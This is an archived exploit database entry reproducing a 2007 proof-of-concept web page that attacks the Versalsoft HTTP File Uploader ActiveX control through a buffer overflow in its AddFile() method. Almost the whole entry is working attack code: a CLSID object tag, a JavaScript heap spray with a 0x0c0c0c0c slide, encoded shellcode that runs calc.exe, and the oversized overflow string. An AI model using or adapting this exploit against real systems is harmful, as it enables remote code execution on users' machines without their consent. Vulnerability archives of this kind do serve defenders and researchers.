Versalsoft HTTP File Uploader AddFile() Remote Buffer Overflow Exploit

🗓️ 20 Jul 2007 00:00:00Reported by RootType
Versalsoft HTTP File Uploader remote buffer overflow exploit with AddFile() method. Remote code execution including calc.exe. For Windows XP Professional SP2 with Internet Explorer 7

                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;-----------------------------------------------------------------------------------
&nbsp;&lt;b&gt;Versalsoft&nbsp;HTTP&nbsp;File&nbsp;Uploader&nbsp;(UFileUploaderD.dll&nbsp;v.&nbsp;6.0.0.38)&nbsp;&quot;AddFile()&quot;&nbsp;method
&nbsp;Remote&nbsp;Buffer&nbsp;Overflow&nbsp;Ecploit&nbsp;(Heap&nbsp;Spray&nbsp;Technique)&lt;/b&gt;
&nbsp;url:&nbsp;http://en.versalsoft.com/
&nbsp;price:&nbsp;from&nbsp;$59.95&nbsp;to&nbsp;$799.95

&nbsp;author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org

&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7
&nbsp;&lt;b&gt;This&nbsp;exploits&nbsp;executes&nbsp;calc.exe&lt;/b&gt;
-----------------------------------------------------------------------------------

&lt;object&nbsp;id=boom&nbsp;classid=&quot;clsid:28776DAD-5914-42A7-9139-8FD7C756BBDD&quot;&nbsp;style=&quot;WIDTH:&nbsp;578px;&nbsp;HEIGHT:&nbsp;228px&quot;&gt;&lt;/object&gt;

&lt;input&nbsp;language=JavaScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Launch&nbsp;Exploit&quot;&gt;

&lt;script&gt;
&nbsp;var&nbsp;shellcode&nbsp;=&nbsp;unescape(&nbsp;&quot;%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u652E%u6578%u9000&quot;);

&nbsp;var&nbsp;spraySlide&nbsp;=&nbsp;unescape(&quot;%u9090%u9090&quot;);
&nbsp;var&nbsp;heapSprayToAddress&nbsp;=&nbsp;0x0c0c0c0c;

&nbsp;&nbsp;function&nbsp;tryMe()
&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;size_buff&nbsp;=&nbsp;6200;
&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;x&nbsp;=&nbsp;&nbsp;unescape(&quot;%0c%0c%0c%0c&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(x.length&lt;size_buff)&nbsp;x&nbsp;+=&nbsp;x;
&nbsp;&nbsp;&nbsp;&nbsp;x&nbsp;=&nbsp;x.substring(0,size_buff);

&nbsp;&nbsp;&nbsp;&nbsp;boom.AddFile(x);
&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;function&nbsp;getSpraySlide(spraySlide,&nbsp;spraySlideSize)
&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(spraySlide.length*2&lt;spraySlideSize)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spraySlide&nbsp;+=&nbsp;spraySlide;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;spraySlide&nbsp;=&nbsp;spraySlide.substring(0,spraySlideSize/2);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(spraySlide);
&nbsp;&nbsp;&nbsp;}

&nbsp;var&nbsp;heapBlockSize&nbsp;=&nbsp;0x400000;
&nbsp;var&nbsp;SizeOfHeapDataMoreover&nbsp;=&nbsp;0x5;
&nbsp;var&nbsp;payLoadSize&nbsp;=&nbsp;(shellcode.length&nbsp;*&nbsp;2);

&nbsp;var&nbsp;spraySlideSize&nbsp;=&nbsp;heapBlockSize&nbsp;-&nbsp;(payLoadSize&nbsp;+&nbsp;SizeOfHeapDataMoreover);
&nbsp;var&nbsp;heapBlocks&nbsp;=&nbsp;(heapSprayToAddress+heapBlockSize)/heapBlockSize;

&nbsp;var&nbsp;memory&nbsp;=&nbsp;new&nbsp;Array();
&nbsp;spraySlide&nbsp;=&nbsp;getSpraySlide(spraySlide,spraySlideSize);

&nbsp;for&nbsp;(i=0;i&lt;heapBlocks;i++)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;memory[i]&nbsp;=&nbsp;spraySlide&nbsp;+&nbsp;&nbsp;shellcode;
&nbsp;&nbsp;}
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
20 Jul 2007 00:00Current
7.1High risk
Vulners AI Score7.1